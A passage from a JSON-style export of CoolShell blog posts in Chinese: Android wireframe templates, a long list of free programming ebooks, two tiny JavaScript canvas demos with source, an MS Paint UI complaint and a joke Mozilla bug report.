[Android线框模板](http://www.tomhume.org/2010/01/android-wireframe-templates.html)\n\n\n线框PDF是信纸大小（8.5英寸 \\* 11英寸）并且各部件都被拉伸。因此你可以非常容易的以纸张原型或拉伸为真实尺寸的方式来使用。如果你没有信纸，你可以用A4纸来打印。  \n\n[Android Wireframe Templates →](http://www.tomhume.org/2010/01/android-wireframe-templates.html)  \n\n你也可以参考：\n\n\n* [Android App Developers GUI Kits, Icons, Fonts and Tools →](http://speckyboy.com/2010/05/10/android-app-developers-gui-kits-icons-fonts-and-tools/)\n* [iPhone and iPad Development GUI Kits, Stencils and Icons →](http://speckyboy.com/2010/04/30/iphone-and-ipad-development-gui-kits-stencils-and-icons/)\n* [Mobile Web and App Development Testing and Emulation Tools →](http://speckyboy.com/2010/04/12/mobile-web-and-app-development-testing-and-emulation-tools/)\n* [14 Free Mobile Application Development Icon Sets →](http://speckyboy.com/2010/03/08/14-free-mobile-app-development-icon-sets/)\n* [45+ Cool Google Android Apps – The Perfect iPhone Replacement →](http://speckyboy.com/2009/09/15/45-cool-google-android-apps-the-perfect-iphone-replacement/)\n\n\n**（全文完）**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [![Google App Inventor ](../wp-content/uploads/2010/07/androidappinventor-150x150.jpg)](https://coolshell.cn/articles/2608.html)[Google App Inventor](https://coolshell.cn/articles/2608.html)\n* [![关于移动端的钓鱼式攻击](../wp-content/uploads/2015/04/phishing-1-150x150.jpg)](https://coolshell.cn/articles/17066.html)[关于移动端的钓鱼式攻击](https://coolshell.cn/articles/17066.html)\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4710.html)[Python 和 PyGame 的一些示例](https://coolshell.cn/articles/4710.html)\nThe post [实用Android开发工具和资源精选](https://coolshell.cn/articles/2853.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-8-4 免费电子书列表.md",
    "content": "---\nlayout: post\ntitle: 免费电子书列表\ndate: 2010/8/4/ 10:37:59\nupdated: 2010/8/4/ 10:37:59\nstatus: publish\npublished: true\ntype: post\n---\n\n在StackOverflow上，有人要打算收集个免费电子书的列表，结果很快就有人分享了一个列表。很不错，我就转过来了。原帖的地址在<http://stackoverflow.com/questions/194812/list-of-freely-available-programming-books> （注意：有些连接可能会被墙掉）\n\n\nList of Free Programming books (compiled): **Meta-List**\n\n\n* [How to Design Programs: An Introduction to Computing and Programming](http://www.htdp.org/2003-09-26/Book/)\n* [25 Free Computer Science Ebooks](http://www.coderholic.com/25-free-computer-science-books/)\n* [Free Tech Books](http://www.freetechbooks.com/)\n* [MindView Inc](http://www.mindviewinc.com/Books/) (List of Free Books)\n* [Wikibooks: Programming](http://en.wikibooks.org/wiki/Category%3aProgramming)\n* [Cheat Sheets (Free)](http://refcardz.dzone.com/)\n* [CodePlex List of Free E-Books](http://blogs.msdn.com/wriju/archive/2009/01/07/free-ebooks-at-codeplex.aspx)\n* [Book Training – On Video!](http://www.booktraining.net/)\n* [Sofware Program Managers Network – Free EBooks](http://www.spmn.com/products_guidebooks.html)\n* [EBook Share @ linbai.info](http://www.linbai.info/)\n* [FreeBooksClub.Net](http://www.freebooksclub.net/)\n* [Theassayer.org](http://theassayer.org/) (Free Online books)\n* [O’Reilly’s Open Books Project](http://oreilly.com/openbook/)\n* [TechBooksForFree.com](http://www.techbooksforfree.com/)\n* [Galileo Computing](http://www.galileocomputing.de/katalog/openbook) (Free Downloadable German Books)\n\n\n**Graphics Programming**\n\n\n* Nvidia [GPU Gems 1](http://http.developer.nvidia.com/GPUGems/gpugems_part01.html)\n* Nvidia [GPU Gems 2](http://http.developer.nvidia.com/GPUGems2/gpugems2_part01.html)\n* Nvidia [GPU Gems 3](http://http.developer.nvidia.com/GPUGems3/gpugems3_part01.html)\n* [Graphics Programming Black Book](http://www.gamedev.net/reference/articles/article1698.asp)\n\n\n**Language Agnostic**\n\n\n* [Foundations of Programming](http://codebetter.com/files/folders/codebetter_downloads/entry179694.aspx) by Karl Seguin\n* [Computer Musings](http://scpd.stanford.edu/knuth/index.jsp) (Lectures by Donald Knuth)\n* [The Cathedral and the Bazaar](http://www.catb.org/esr/writings/cathedral-bazaar/) (Introduction to Open Source Software)\n* [Patterns and Practices: Application Architecture Guide 2.0](http://www.codeplex.com/AppArchGuide)\n* [Security Engineering](http://www.cl.cam.ac.uk/~rja14/book.html)\n* [Digital Signal Processing For Engineers and Scientists](http://www.dspguide.com/)\n* [Getting Real](http://gettingreal.37signals.com/) (Courtesy [37 Signals](http://37signals.com/))\n* [Structure and Interpretation of Computer Programs](http://mitpress.mit.edu/sicp/)\n* [Domain Driven Design Quickly](http://www.infoq.com/minibooks/domain-driven-design-quickly)\n* [OO Design](http://homepage.mac.com/s_lott/books/oodesign.html)\n* [Best Kept Secrets of Peer Code Review](http://smartbear.com/codecollab-code-review-book.php)\n* [NASA Software Measurement Handbook](http://www.scribd.com/doc/7181362/NASA-Software-Measurement-Guidebook)\n* [NASA Manager Handbook for Software Development](http://homepages.inf.ed.ac.uk/dts/pm/Papers/nasa-manage.pdf)\n* [Introduction to Functional Programming](http://www.cl.cam.ac.uk/teaching/Lectures/funprog-jrh-1996/) – Class Lectures and Slides\n* [How to Design Programs](http://www.htdp.org/) – MIT Press\n* [Guide to the Software Engineering Body of Knowledge](http://www.swebok.org/stoneman/trial_1_00.html) – IEEE Computer Society Press\n* [Online Course Materials](http://ocw.mit.edu/OcwWeb/web/home/home/index.htm) – MIT\n* [Algorithms](http://www.cs.berkeley.edu/~vazirani/algorithms.html) (Draft Copy)\n* [Data Structures and Algorithms](http://dotnetslackers.com/projects/Data-Structures-And-Algorithms/)\n* [Essential Skills for Agile Development](http://www.agileskills.org/download.html.en)\n* [Programming Languages: Application and Interpretation](http://www.cs.brown.edu/~sk/Publications/Books/ProgLangs/)\n* [Learn to Program](http://pine.fm/LearnToProgram/)\n* [Patterns of Software: Tales from the Software Community](http://www.dreamsongs.com/Files/PatternsOfSoftware.pdf)\n* [How to write Unmaintainable Code](http://freeworld.thc.org/root/phun/unmaintain.html)\n* [The Art of Unix Programming](http://catb.org/esr/writings/taoup/html/)\n* [The Definitive Guide to Building Code Quality](http://nexus.realtimepublishers.com/dgbcq.php)\n* [How to Think Like a Computer Scientist](http://openbookproject.net/thinkcs/cpp.php)\n* [Planning Algorithms](http://planning.cs.uiuc.edu/)\n* [The Little Book of Semaphores](http://greenteapress.com/semaphores/)\n* [Mathematical Logic – an Introduction](http://www.ii.uib.no/~michal/und/i227/book/book.pdf)\n* [An Introduction to the Theory of Computation](http://www.cse.ohio-state.edu/~gurari/theory-bk/theory-bk.html)\n* [Developers Developers Developers Developers](http://devshaped.com/book)\n* [Linkers and loaders](http://www.iecc.com/linker/)\n* [Beej’s Guide to Network Programming](http://beej.us/guide/bgnet/)\n* [Domain Driven Design Quickly](http://www.infoq.com/minibooks/domain-driven-design-quickly)\n* [Let’s Build a Compiler](http://compilers.iecc.com/crenshaw/)\n* [Producing Open Source Software](http://producingoss.com/)\n* [How to Write Parallel Programs](http://www.lindaspaces.com/book/)\n* [Don’t Just Roll the Dice](http://www.neildavidson.com/dontjustrollthedice.html)\n\n\n**ASP.NET MVC**:\n\n\n* [NerdDinner Walkthrough](http://weblogs.asp.net/scottgu/archive/2009/03/10/free-asp-net-mvc-ebook-tutorial.aspx)\n\n\n**Assembly Language**\n\n\n* [ProgrammingGroundUp](http://download.savannah.gnu.org/releases/pgubook/ProgrammingGroundUp-1-0-booksize.pdf)\n* [Paul Carter’s Tutorial on x86 Assembly](http://drpaulcarter.com/pcasm/)\n* [Software optimization resources by Agner Fog](http://www.agner.org/optimize/)\n\n\n**Bash**\n\n\n* [Advanced Bash-Scripting Guide](http://tldp.org/LDP/abs/html/)\n\n\n**C/C++**\n\n\n* [The new C standard – an annotated reference](http://www.knosof.co.uk/cbook/cbook.html)\n* [The C book](http://publications.gbdirect.co.uk/c_book/)\n* [Thinking in C++, Second Edition](http://www.mindview.net/Books/TICPP/ThinkingInCPP2e.html)\n* [C++ Annotations](http://cppannotations.sourceforge.net/)\n* [Software optimization resources by Agner Fog](http://www.agner.org/optimize/)\n* [Introduction to Design Patterns in C++ with Qt 4](http://cartan.cas.suffolk.edu/oopdocbook/opensource/index.html) (Open Publication License)\n\n\n**C#**\n\n\n* See **.NET** below\n\n\n**Django**\n\n\n* [Djangobook.com](http://djangobook.com/)\n\n\n**Forth**\n\n\n* [Starting Forth](http://home.iae.nl/users/mhx/sf.html)\n\n\n**Git**\n\n\n* [Pro Git](http://progit.org/book/)\n* [The Git Community Book](http://book.git-scm.com/index.html)\n\n\n**Haskell**\n\n\n* [Learn You a Haskell](http://learnyouahaskell.com/chapters)\n* [Real World Haskell](http://book.realworldhaskell.org/read/)\n\n\n**Java**\n\n\n* [Sun’s Java Tutorials](http://java.sun.com/docs/books/tutorial/)\n* [Thinking in Java](http://www.mindview.net/Books/TIJ/)\n* [How to Think Like a Computer Scientist](http://openbookproject.net/thinkcs/java.php)\n* [Java Thin-Client Programming](http://www.redbooks.ibm.com/redbooks/SG245118.html)\n* [OSGi in Practice](http://s3.amazonaws.com/neilbartlett.name/osgibook_preview_20090110.pdf) (CreativeCommons Attribution Non-commercial Share Alike License)\n\n\n**JavaScript**\n\n\n* [Eloquent JavaScript](http://eloquentjavascript.net/)\n* [Crockford’s JavaScript](http://www.crockford.com/javascript/)\n* [jQuery Fundamentals](http://www.rebeccamurphey.com/jqfundamentals/) (starts with JS basics)\n\n\n**Linux**\n\n\n* [Advanced Linux Programming](http://www.advancedlinuxprogramming.com/)\n\n\n**Lisp**\n\n\n* [Practical Common Lisp](http://www.gigamonkeys.com/book/)\n* [On Lisp](http://www.paulgraham.com/onlisp.html)\n* [ANSI Common Lisp](http://www.paulgraham.com/acl.html)\n* [Common Lisp the Language, 2nd Edition](http://www.cs.cmu.edu/Groups/AI/html/cltl/mirrors.html)\n* [Successful Lisp](http://psg.com/~dlamkins/sl/contents.html)\n* [Let Over Lamda – 50 Years of Lisp](http://letoverlambda.com/index.cl/toc)\n\n\n**Lua**\n\n\n* [Programming In Lua](http://www.lua.org/pil/) (for v5 but still largely relevant)\n\n\n**Maven**\n\n\n* [Better Builds with Maven](http://www.maestrodev.com/better-build-maven)\n* [Maven by Example](http://www.sonatype.com/books/mvnex-book/reference/public-book.html)\n* [Maven: The Definitive Guide](http://www.sonatype.com/books/maven-book/reference/)\n\n\n**Mercurial**\n\n\n* [Mercurial: The Definitive Guide](http://hgbook.red-bean.com/)\n* [HGInit – Mercurial Tutorial by Joel Spolsky](http://hginit.com/)\n\n\n**.NET (C#)**\n\n\n* [Free C# Book](http://www.programmersheaven.com/2/CSharpBook) Covers C#1.0 and 2.0 (Courtesy of [Programmers Heaven](http://www.programmersheaven.com/))\n* [Visual Studio Tips and Tricks](http://www.infoq.com/minibooks/vsnettt)\n* [Entity Framework](http://weblogs.asp.net/zeeshanhirani/archive/2008/12/05/my-christmas-present-to-the-entity-framework-community.aspx) (514 pages)\n* [Charles Petzold’s .Net Book 0](http://www.charlespetzold.com/dotnet/index.html)\n* [Threading in C#](http://www.albahari.com/threading/)\n* [C# Yellow Book](http://www.csharpcourse.com/) (Intro to programming)\n* [C# Programming – Wikibook](http://en.wikibooks.org/wiki/C_Sharp_Programming)\n* [C# Essentials](http://www.techotopia.com/index.php/C_Sharp_Essentials)\n* [Data Structures and Algorithms with Object-Oriented Design Patterns in C#](http://www.brpreiss.com/books/opus6/)\n* [Illustrated C# 2008](http://downloads.red-gate.com/ebooks/DotNet/illustratedcsharp2008.zip) (Download) (**.ZIP**) [dead link]\n* [O’Reilly’s C# Pocket Reference Manual](http://www.red-gate.com/products/ants_performance_profiler/be_ahead_of_the_game_ebook.htm?utm_source=simpletalk&utm_medium=email&utm_content=nlv_aheadofgame-ebook&utm_campaign=antsperformanceprofiler) (*Free Ebook courtesy of [Red Gate Software](http://red-gate.com/)*) [dead link]\n\n\n**NoSQL**\n\n\n* [CouchDB: The Definitive Guide](http://books.couchdb.org/relax/)\n\n\n**Objective-C**\n\n\n* [The Objective-C Programming Language](http://developer.apple.com/DOCUMENTATION/Cocoa/Conceptual/ObjectiveC/)\n\n\n**Parrot / Perl 6**\n\n\n* [Perl 6](http://github.com/perl6/book/) (Work in progress)\n\n\n**Perl**\n\n\n* [Higher Order Perl](http://hop.perl.plover.com/book/)\n* [Perl The Hard Way](http://www.greenteapress.com/perl/)\n* [Extreme Perl](http://www.extremeperl.org/bk/home)\n* [Perl Free Online EBooks](http://linkmingle.com/list/13-plus-List-of-Free-Great-Perl-Books-available-Online-freebooksandarticles) **Meta-List**\n* [The Mason Book](http://www.masonbook.com/book/)\n* [Practical mod\\_perl](http://modperlbook.org/)\n* [Beginning Perl](http://www.perl.org/books/beginning-perl/)\n* [Embedding Perl in HTML with Mason](http://www.masonbook.com/book/) (Open Publication License)\n* [Perl & LWP](http://lwp.interglacial.com/index.html)\n* [Perl for the Web](http://www.globalspin.com/thebook/)\n* [Web Client Programming with Perl](http://oreilly.com/openbook/webclient/)\n* [Modern Perl 5](http://github.com/chromatic/modern_perl_book/) (Work in progress)\n\n\n**PHP**\n\n\n* [Practical PHP Programming](http://www.ipbwiki.com/Practical_PHP_Programming%3aTable_Of_Contents) (Wiki that contains O’Reilly’s *PHP In a Nutshell*)\n* [Zend Framework: Survive the Deep End](http://www.survivethedeepend.com/)\n\n\n**PowerShell**\n\n\n* [Mastering PowerShell](http://powershell.com/cs/blogs/ebook/)\n\n\n**Prolog**\n\n\n* [Building Expert Systems in Prolog](http://www.amzi.com/ExpertSystemsInProlog/)\n* [Adventure in Prolog](http://www.amzi.com/AdventureInProlog/advfrtop.htm)\n* [Prolog Programming A First Course](http://computing.unn.ac.uk/staff/cgpb4/prologbook/)\n* [Logic, Programming and Prolog (2ed)](http://www.ida.liu.se/~ulfni/lpp/)\n* [Introduction to Prolog for Mathematicians](http://www.j-paine.org/prolog/mathnotes/files/pms/pms.html)\n* [Learn Prolog Now!](http://www.learnprolognow.org/)\n* [Natural Language Processing Techniques in Prolog](http://cs.union.edu/~striegnk/courses/nlp-with-prolog/html/)\n\n\n**PostgreSQL**\n\n\n* [Practical PostgreSQL](http://www.commandprompt.com/ppbook/)\n\n\n**Python**\n\n\n* [Dive Into Python](http://diveintopython.org/)\n* [Dive Into Python 3](http://diveintopython3.org/)\n* [Byte of Python](http://www.swaroopch.com/notes/Python)\n* [Building Skills in Python Version 2.5](http://homepage.mac.com/s_lott/books/python.html)\n* [Python Free Online Ebooks](http://linkmingle.com/list/List-of-Free-Online-Python-Books-freebooksandarticles) **Meta-List**\n* [Python Bibliotheca](http://openbookproject.net/pybiblio/)\n* [Think Python](http://www.greenteapress.com/thinkpython/thinkpython.pdf)\n* [Data Structures and Algorithms in Python](http://www.brpreiss.com/books/opus7/html/book.html)\n* [How to Think Like a Computer Scientist: Learning with Python](http://www.greenteapress.com/thinkpython/thinkCSpy/)\n* [Python for Fun](http://www.openbookproject.net/py4fun/)\n* [Invent Your Own Computer Games With Python](http://inventwithpython.com/)\n* [Thinking in Python](http://www.mindview.net/Books/TIPython/)\n* [The Django Book](http://djangobook.com/)\n* [Snake Wrangling For Kids](http://www.briggs.net.nz/log/writing/snake-wrangling-for-kids/ \"SWFK\")\n\n\n**Ruby**\n\n\n* [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/)\n* [Why’s (Poignant) Guide to Ruby](http://mislav.uniqpath.com/poignant-guide/) ([Mirror](http://www.scribd.com/doc/2236084/Whys-Poignant-Guide-to-Ruby) via [Scribd](http://www.scribd.com/))\n* [Mr. Neighborly’s Humble Little Ruby Book](http://www.humblelittlerubybook.com/)\n* [Ruby Best Practices](http://rubybestpractices.com/)\n* [MacRuby: The Definitive Guide](http://macruby.labs.oreilly.com/)\n* [Ruby on Rails Tutorial: Learn Rails By Example](http://www.railstutorial.org/)\n\n\n**Scala**\n\n\n* [A Scala Tutorial for Java programmers](http://www.scala-lang.org/docu/files/ScalaTutorial.pdf)\n* [Scala By Example](http://www.scala-lang.org/docu/files/ScalaByExample.pdf)\n* [Programing Scala](http://programming-scala.labs.oreilly.com/index.html)\n* [Xtrace](http://github.com/leithaus/XTrace/tree/monadic/src/main/book/content/) (Github)\n* [List](http://github.com/tjweir/liftbook) (Github)\n* [Pro Scala: Monadic Design Patterns for the Web](http://github.com/leithaus/XTrace/tree/monadic/src/main/book/content/)\n* [Exploring Lift](http://github.com/tjweir/liftbook) (published earlier as “The Definitive Guide to Lift”, [pdf](http://groups.google.com/group/the-lift-book))\n\n\n**Scheme**\n\n\n* [The Scheme Programming Language (Edition 4)](http://www.scheme.com/tspl4/)\n\n\n**SmallTalk**\n\n\n* [SmallTalk Free Ebooks](http://stephane.ducasse.free.fr/FreeBooks.html) *Courtesy of Stéphane Ducasse*\n* [Squeak By Example](http://www.squeakbyexample.org/) (Smalltalk IDE)\n\n\n**Subversion**\n\n\n* [Subversion Version Control: Using the Subversion Version Control System in Development Projects](http://www.phptr.com/content/images/0131855182/downloads/Nagel_book.pdf)\n\n\n**\\**SQL (Implementation agnostic) \\**** \n\n\n- [Developing Time-Oriented Database Applications in SQL](http://www.cs.arizona.edu/people/rts/publications.html),Richard T. Snodgrass\n\n**Vim**\n\n\n* [A Byte of Vim](http://www.swaroopch.com/notes/Vim)\n\n\n你有和我们分享的计算机电子书列表吗？欢迎在回复中和我们分享。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![两本电子书](../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg)](https://coolshell.cn/articles/3270.html)[两本电子书](https://coolshell.cn/articles/3270.html)\n* [![一些非常不错的资料](../wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg)](https://coolshell.cn/articles/3192.html)[一些非常不错的资料](https://coolshell.cn/articles/3192.html)\n* [![给程序员的VIM速查卡](../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png)](https://coolshell.cn/articles/5479.html)[给程序员的VIM速查卡](https://coolshell.cn/articles/5479.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4710.html)[Python 和 PyGame 的一些示例](https://coolshell.cn/articles/4710.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\nThe post [免费电子书列表](https://coolshell.cn/articles/2775.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-8-9 JS1K 演示.md",
    "content": "---\nlayout: post\ntitle: JS1K 演示\ndate: 2010/8/9/ 5:51:37\nupdated: 2010/8/9/ 5:51:37\nstatus: publish\npublished: true\ntype: post\n---\n\n以前本站发布过很多和Javascript相关的东西，如：《[又一个Javascript试验田](https://coolshell.cn/articles/2276.html)》、《[一个Windows 3.1的Web网站](https://coolshell.cn/articles/2065.html)》、《[哥是玩程序的](https://coolshell.cn/articles/1932.html)》。今天要介绍另外一组，先看下面的这个Javascript特效（在IE下无法正常工作），你可以用Chrome查看，很炫。不过最炫的是其源码，非常的简单，不超过1K。如果你要知道这个效果的原理，这里有一个[教程](http://acko.net/blog/js1k-demo-the-making-of)。这里有个网站：[JS1K Demo](http://js1k.com/)， 这个站上主要收集一些Javascript不大于1K的程序。\n\n\n  \n   \n\n停止演示开始演示\n\n\n下面是其源码：  \n\n\n\n\n[javascript]  \n\nf=Math; \\_=document.body; \\_.style.background=\"#000\"; e=\\_.children[0]; e.width=w=innerWidth-10; e.height=h=innerHeight-25; g=e.getContext(\"2d\"); t=w/h; with(g){scale(w\\*0.5/t,h\\*0.5); translate(1\\*t,1); globalCompositeOperation=\"lighter\"; lw=45/h; $=p=m=q=r=d=0; g=u=-8; setInterval(function(){if(–d< 0){h=f.random; e=h()\\*18-9; r2=h()\\*18-9; u2=h()\\*18-9; d=70}function A(C,B){return C+(B-C)\\*0.04}p=A(p,e); m=A(m,r2); g=A(g,u2); q=A(q,p); r=A(r,m); u=A(u,g); a=f.atan2(q,-u\\*2); b=f.atan2(r\\*2,f.sqrt(u\\*u+q\\*q)); $+=0.05; clearRect(-t,-1,2\\*t,2); for(i=12; i; –i){v=0; for(j=45; j; ){c=f.cos; s=f.sin; j–; w=$-j\\*0.03-i\\*3; A=f.sqrt(j+0.2); n=c(w+s(w\\*0.31))\\*2+s(w\\*0.83)\\*3+w\\*0.02; o=s(w\\*0.7)-c(3+w\\*0.23)\\*3; x=c(n)\\*c(o)\\*A-q; y=s(n)\\*c(o)\\*A-r; z=s(o)\\*A-u; n=c(a); o=s(a); k=x\\*n+z\\*o; h=z\\*n-x\\*o; n=c(b); o=s(b); l=y\\*n+h\\*o; z=h\\*n-y\\*o; lineTo(k/z,l/z); lineWidth=lw\\*(2+!j)/z; h=f.round; w=h(60-j)\\*(1+!j+f.max(0,s($\\*6-j/8)-0.95)\\*70); strokeStyle=\"rgb(\"+h(w\\*(!j+s(i+$\\*0.15)+1))+\",\"+h(!j+w\\*(s(i-1)+1))+\",\"+h(!j+w\\*(s(i-1.3)+1))+\")\"; if(z> 0.1){v++&&stroke()}else{v=0}beginPath(); moveTo(k/z,l/z)}}},33)}  \n\n[/javascript]\n\n\n下面，让我们再看一个只有1023字节的3D演示，同样，只有在Chrome中才能看到最佳效果。\n\n\n  \n   \n\n停止演示开始演示\n\n\n其源代码如下：\n\n\n[javascript]  \n\nwith(document.body.style){margin=\"0px\";overflow=\"hidden\";}var w=window.innerWidth;var h=window.innerHeight;var ca=document.getElementById(\"c\");ca.width=w;ca.height=h;var c=ca.getContext(\"2d\");m=Math;fs=m.sin;fc=m.cos;fm=m.max;setInterval(d,30);function p(x,y,z){return{x:x,y:y,z:z};}function s(a,z){r=w/10;R=w/3;b=-20\\*fc(a\\*5+t);return p(w/2+(R\\*fc(a)+r\\*fs(z+2\\*t))/z+fc(a)\\*b,h/2+(R\\*fs(a))/z+fs(a)\\*b);}function q(a,da,z,dz){var v=[s(a,z),s(a+da,z),s(a+da,z+dz),s(a,z+dz)];c.beginPath();c.moveTo(v[0].x,v[0].y);for(i in v)c.lineTo(v[i].x,v[i].y);c.fill();}var Z=-0.20;var t=0;function d(){t+=1/30.0;c.fillStyle=\"#000\";c.fillRect(0,0,w,h);c.fillStyle=\"#f00\";var n=30;var a=0;var da=2\\*Math.PI/n;var dz=0.25;for(var z=Z+8;z>Z;z-=dz){for(var i=0;i<n;i++){fog=1/(fm((z+0.7)-3,1));if(z<=2){fog=fm(0,z/2\\*z/2);}var k=(205\\*(fog\\*Math.abs(fs(i/n\\*2\\*3.14+t))))>>0;k\\*=(0.55+0.45\\*fc((i/n+0.25)\\*Math.PI\\*5));k=k>>0;c.fillStyle=\"rgb(\"+k+\",\"+k+\",\"+k+\")\";q(a,da,z,dz);if(i%3==0){c.fillStyle=\"#000\";q(a,da/10,z,dz);}a+=da;}}Z-=0.05;if(Z<=dz)Z+=dz;}  \n\n[/javascript]\n\n\n你可以前往一看更多的[演示](http://js1k.com/demos)。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员的圣诞节](../wp-content/uploads/2010/12/arbol_0-150x150.jpg)](https://coolshell.cn/articles/3429.html)[程序员的圣诞节](https://coolshell.cn/articles/3429.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\nThe post [JS1K 演示](https://coolshell.cn/articles/2785.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-8-9 微软最囧的UI.md",
    "content": "---\nlayout: post\ntitle: 微软最囧的UI\ndate: 2010/8/9/ 0:36:47\nupdated: 2010/8/9/ 0:36:47\nstatus: publish\npublished: true\ntype: post\n---\n\n以前，本站介绍过一些[Ugly的UI](https://coolshell.cn/articles/1907.html)，今天我们来看看微软Windows里的“画笔”程序，看看微软的某个功能干了什么样的囧事。\n\n\n我打开了一个比较大的图片，有点太大了，我想缩小一下看看，很好，微软在菜单项里供了Zoom选项，其中有一个Custom（自定义），挺不错的。\n\n\n![](../wp-content/uploads/2010/08/ms-paint-custom-menu.jpg)\n\n\n但是，当我看到这个自定义的对话框后，我彻底无语了，大哥你是怎么想的啊……\n\n\n\n![](../wp-content/uploads/2010/08/ms-paint-custom-diag.jpg)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/3877.html)[另类UX让你输入强口令](https://coolshell.cn/articles/3877.html)\n* [![30+ Web下拉菜单](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5-150x150.jpg)](https://coolshell.cn/articles/3207.html)[30+ Web下拉菜单](https://coolshell.cn/articles/3207.html)\n* [![用户界面和用户体验的差别](../wp-content/uploads/2010/10/UI-150x150.gif)](https://coolshell.cn/articles/3142.html)[用户界面和用户体验的差别](https://coolshell.cn/articles/3142.html)\n* [![Windows的达尔文进化图](../wp-content/uploads/2010/10/W_600-150x150.jpg)](https://coolshell.cn/articles/3097.html)[Windows的达尔文进化图](https://coolshell.cn/articles/3097.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\nThe post [微软最囧的UI](https://coolshell.cn/articles/2792.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-9-13 Mozilla的一个BUG.md",
    "content": "---\nlayout: post\ntitle: Mozilla的一个BUG\ndate: 2010/9/13/ 23:57:12\nupdated: 2010/9/13/ 23:57:12\nstatus: publish\npublished: true\ntype: post\n---\n\n以前，本站给大家介绍过一些BUG，如：《[谷歌Chrome取消”http://”](https://coolshell.cn/articles/2367.html)》，《[Go语言的Issue 9](https://coolshell.cn/articles/1781.html)》和《[telnet的一个Bug](https://coolshell.cn/articles/2352.html)》。今天，和大家再说一个Mozilla的Bug，这个Bug的网址在这里：<https://bugzilla.mozilla.org/show_bug.cgi?id=579522>\n\n\n这个Bug的标题是这样的：“Buy cots for the JS interns” （为JS实习生买一些轻便小床），并说明“This bug is not actually a joke.”，这个BUG估计是在抱怨在Mozilla工作的实习生太辛苦了。在后面的跟贴中，很多人都提到了V8，呵呵。看来，大家还是在嘲笑Mozilla更多一些，大家不妨前往一看。\n\n\nMozilla的firefox还是很让人失望的，作为一个Linux下默认的浏览器，其居然让Firefox的Windows版比Linux版更强大，在firefox 4.0 beta中居然出现了Windows Only的东东，着着实实地伤了很多firefox的粉丝的心，正因为这个，整个社区都开始BS并嘲笑Mozilla，并转投Chrome阵营。\n\n\n当然，最后这个BUG被fix了，有图为证：\n\n\n![](../wp-content/uploads/2010/09/Mozilla.jpg \"Mozilla的Bug fixing\")Mozilla的Bug fixing\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* 